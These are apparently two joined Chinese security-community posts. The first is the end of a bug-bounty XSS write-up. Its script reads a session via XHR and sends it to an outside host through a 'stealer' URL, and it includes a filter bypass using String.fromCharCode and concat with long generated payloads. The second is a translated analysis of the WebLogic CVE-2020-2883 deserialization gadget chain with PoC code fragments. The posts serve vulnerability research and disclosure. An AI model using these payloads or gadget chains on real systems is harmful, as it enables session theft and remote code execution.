发出XHR请求登录目标
服务器在响应正文中返回sesssion id
匹配body并窃取会话。
这里是完整的JS代码来窃取cookie
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { if (xhr.readyState == 4)
{
prompt('You are hacked , your session='+xhr.response);}
document.location.replace('//yassergersy.com/stealer?data='+xhr.response');
}
xhr.open('POST', '/account/login',true);
xhr.withCredentials = true;
xhr.send(null);
</script>
编码和发送payload失败:(大多数特殊字符被过滤：
",<>/\
对我来说，以下足以实现我的目标：
'()-.
我们需要将所有特殊字符转换为 String.fromCharCode(ascii)
空 = 32
String.fromCharCode(32)
逗号= 44
String.fromCharCode(44)
所以alert（1337）的payload将是：
eval（String.fromCharCode（97,108,101,114,116,40,49,51,51,55,41））
等等，逗号被过滤，有效载荷再次失败，我们需要另一个技巧，我的jascript技能不是很好,我试图搜索谷歌,javascript string
concatenation,并找到了concat()
<https://www.w3schools.com/jsref/jsref_concat_string.asp>
因此，我们可以使用连接它们而不是分隔字符
.concat()
例如，如果我们需要通过 a,b
我们可以将b与使用连接起来：
'a'.concat（'b'）
当然，这个技巧不会用于字母字符，它将用于应用程序敏感的特殊字符
"<>/\,
所以使用concat和String.fromCharCode我们可以执行任何JS代码
我决定测试下面的有效载荷
<script>
document.location.replace("//evil.net");
</script>
这太无聊了，手动完成，于是我决定编写一个python脚本使其更容易：
<https://gist.github.com/YasserGersy/a0fee5ce7422a558c84bfd7790d8a082>
将payload保存到名为的文件payload.txt 并执行以下命令
python Js2S.py payload.txt
结果产生：
''.concat(String.fromCharCode(60)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10)).concat('document').concat(String.fromCharCode(46)).concat('location').concat(String.fromCharCode(46)).concat('replace').concat(String.fromCharCode(40)).concat(String.fromCharCode(34)).concat(String.fromCharCode(47)).concat(String.fromCharCode(47)).concat('evil').concat(String.fromCharCode(46)).concat('net').concat(String.fromCharCode(34)).concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat(String.fromCharCode(60)).concat(String.fromCharCode(47)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10))
这个生成的payload被认为是一个单独的字符串，不会被应用程序过滤，所以我们可以将它传递给eval并执行它
在他的情况下，我需要将这个payload写入文件中。
所以我会用 document.write(my_payload)
而不是eval，任何人都可以使用的任何功能。
所以我们的最终payload是：
https://jerico.com/Account/Settings/server`-dcument.write( <<generated-payload-by-python-script>>)'-
成功：D，让我们试试payload：
$cat myrealworldpayload.txt
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { if (xhr.readyState == 4)
{prompt('You are hacked , your session='+xhr.response);}}
xhr.open('POST', '/account/login', true);
xhr.send(null);
</script>
和python脚本生成以下内容：
python Js2S.py myrealworldpayload.txt
output
''.concat(String.fromCharCode(60)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10)).concat('var').concat(String.fromCharCode(32)).concat('xhr').concat(String.fromCharCode(32)).concat(String.fromCharCode(61)).concat(String.fromCharCode(32)).concat('new').concat(String.fromCharCode(32)).concat(String.fromCharCode(88)).concat('MLHttpRequest').concat(String.fromCharCode(40)).concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat('xhr').concat(String.fromCharCode(46)).concat('onreadystatechange').concat(String.fromCharCode(32)).concat(String.fromCharCode(61)).concat(String.fromCharCode(32)).concat('function').concat(String.fromCharCode(40)).concat(String.fromCharCode(41)).concat(String.fromCharCode(32)).concat(String.fromCharCode(123)).concat(String.fromCharCode(32)).concat('if').concat(String.fromCharCode(32)).concat(String.fromCharCode(40)).concat('xhr').concat(String.fromCharCode(46)).concat('readyState').concat(String.fromCharCode(32)).concat(String.fromCharCode(61)).concat(String.fromCharCode(61)).concat(String.fromCharCode(32)).concat('4').concat(String.fromCharCode(41)).concat(String.fromCharCode(10)).concat(String.fromCharCode(32)).concat(String.fromCharCode(123)).concat('prompt').concat(String.fromCharCode(40)).concat(String.fromCharCode(39)).concat(String.fromCharCode(89)).concat('ou').concat(String.fromCharCode(32)).concat('are').concat(String.fromCharCode(32)).concat('hacked').concat(String.fromCharCode(32)).concat(String.fromCharCode(44)).concat(String.fromCharCode(32)).concat('your').concat(String.fromCharCode(32)).concat('session').concat(String.fromCharCode(61)).concat(String.fromCharCode(39)).concat(String.fromCharCode(43)).concat('xhr').concat(String.fromCharCode(46)).concat('response').concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(125)).concat(String.fromCharCode(125)).concat(String.fromCharCode(10)).concat('xhr').concat(String.fromCharCode(46)).concat('open').concat(String.fromCharCode(40)).concat(String.fromCharCode(39)).concat('POST').concat(String.fromCharCode(39)).concat(String.fromCharCode(44)).concat(String.fromCharCode(32)).concat(String.fromCharCode(39)).concat(String.fromCharCode(47)).concat('account').concat(String.fromCharCode(47)).concat('login').concat(String.fromCharCode(39)).concat(String.fromCharCode(44)).concat(String.fromCharCode(32)).concat('true').concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat('xhr').concat(String.fromCharCode(46)).concat('send').concat(String.fromCharCode(40)).concat('null').concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat(String.fromCharCode(60)).concat(String.fromCharCode(47)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10))
现在将下面的url中xxxxxxxxxx替换为生成的payload：
https://jerico.com/Account/Settings/server`-dcument.write( <<xxxxxxxxxxxxx>>)'-
payload太长，url，但它并不重要：
我能够窃取cookie。
### 结论：
我发给团队的最后的POC，过程？
执行payload，首先在脚本标签内回显。
payload首先作为数学运算执行，因为我使用' - 作为减法运算，它首先会将完整的恶意payload添加到要在没有过滤的情况下执行的文档中。
payload执行并发出一个POST请求，并提取响应以提取会话ID并将其发送给攻击者网站 <http://yassergersy.com，>
后者将按照上图中的提示进行提示。
攻击者网站收到被盗的会话ID并记录下来。
learn：
Think in the box :D
Chain bugs for higher impact.
Never stop searching
Timeline
4–2–2018 Reported
5–2–2018 Triaged
The bounty was frustrating :(
Regards | 社区文章 |
# CVE-2020-2883——WebLogic反序列化初探
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
### （一）概述
和CVE-2015-4852中构造的ChainedTransformer类似，ReflectionExtractor可以实现任意方法调用，这里用链式的ReflectionExtractor构造ChainedExtractor，调用其extract()同样可以实现任意代码执行；
BadAttributeValueExpException中的readObject()可以调用成员变量的toString，且这个成员变量是我们可控的；
控制BAVEE的成员变量为LimitFilter对象，通过LimitFilter.toString()触发ChainedExtractor的extract()，进而触发RCE。
### （二）CVE-2020-2883
CVE-2020-2555的补丁（仅）去除了LimitFilter.toString()中的extract()调用，
大概情况是这样，
当然，这条链断的并不完整，只要有一处能调用到我们构造的ChainedExtractor的extract()，则仍能触发ReflectionExtractor带来的任意方法调用。
### （三）原理
**1.工具分析**
仍然是Y4er师傅的[PoC][<https://github.com/Y4er/CVE-2020-2883/>],
将其放到weblogic_cmd的com/supeream/下即可。
相关内容在下面结合调试过程一起讲。
记录一下感觉很奇怪的事情，
PoC运行到这里，
queue的显示是这样的，看不到成员变量，很烦，
但若是计算queue.comparator，
也是有值的，虽然跟一下就能发现这个问题，不影响调试，但看起来总有些不舒服。
仔细一想，发现了问题之所在，
不知哪一次为了看字节流方便，将View as 改了，改回Object之后，就恢复正常了。
**2.原理**
补丁虽然remove了LimitFilter.toString()中的extract，仍然有几个类可以调用到ChainedExtractor.extract()。比如MultiExtractor继承了AbstractExtractor
，其内的compare()就可以调用到ChainedExtractor.extract()。
另一方面，PriorityQueue也是反序列化常用的基类，通过readObject()->heapify()->siftDown()->siftDownUsingComparator()，进而触发this.comparator.compare()
## 二、调试
### （一）环境搭建
同CVE-2020-2555，不再赘述。
### （二）复现
运行PoC，
### （三）调试
先上这个PoC的调用栈，
extract:104, ReflectionExtractor (com.tangosol.util.extractor)
extract:105, ChainedExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
ChainedExtractor.extract()往上的部分就比较熟悉了，情况一致，不再赘述，重点关注从ChainedExtractor往下到PriorityQueue.readObject的片段，
接下来是从PriorityQueue.readObject()到PriorityQueue.siftDownUsingComparator()的部分，
**1.this.queue**
首先是queue的赋值，
会进入heapify()，
可以看出，在size>=2时，可以进入for的内部，进而进入siftDown函数，
这一部分在PoC中的体现如下，
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
**2.this.comparator**
进入siftDown，我们看到，接下来的流程和comparator的值有关，跟踪之，
是个private，可以在构造函数中设定，
显然进入if，
跟进，因为size为2，前面的内容都可顺利走过，进入，此时x即为Runtime，c为1，
o1、o2对应x、c,
接下来即可进入this.m_extractor.extract，
先跟踪一下这个变量，
也是可以在构造函数里设定的，
对应着PoC中的如下部分，
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);
接下来进入extract()，这一部分和之前一模一样，不再赘述。
个人感觉CVE-2020-2883的整个利用链和CVE-2020-2555相比仍有一定的相似度，前者的利用链是套路A+ReflectionExtractor任意方法调用，后者是套路B+ReflectionExtractor任意方法调用。CVE-2020-2555的补丁破坏了套路B，但ReflectionExtractor的任意方法调用部分仍然是可用的，只要找到别的触发点，仍可以利用。
## 三、收获与启示
因为之前粗略学习过CVE-2020-14645，感觉CVE-2020-2883可谓是“政启开元，治宏贞观”，其利用链的一部分继承了CVE-2020-2555中ReflectionExtractor的利用链，另一部分找到了PriorityQueue可达的、新的extract()的调用点，为CVE-2020-14645做了准备。
学到现在，有一个直观的感受是：最开始的CVE-2015-4852是开篇，后面的都是它的再发展（包括它的重现、它的绕过和它的绕过的绕过），所谓发展主要是指反序列化触发点的切换。从最开始2015时CC1链及其变种，到现在出现了新的利用类ReflectionExtractor，又一次告诉我们要封一类，而不能只封一个。 | 社区文章 |
Subsets and Splits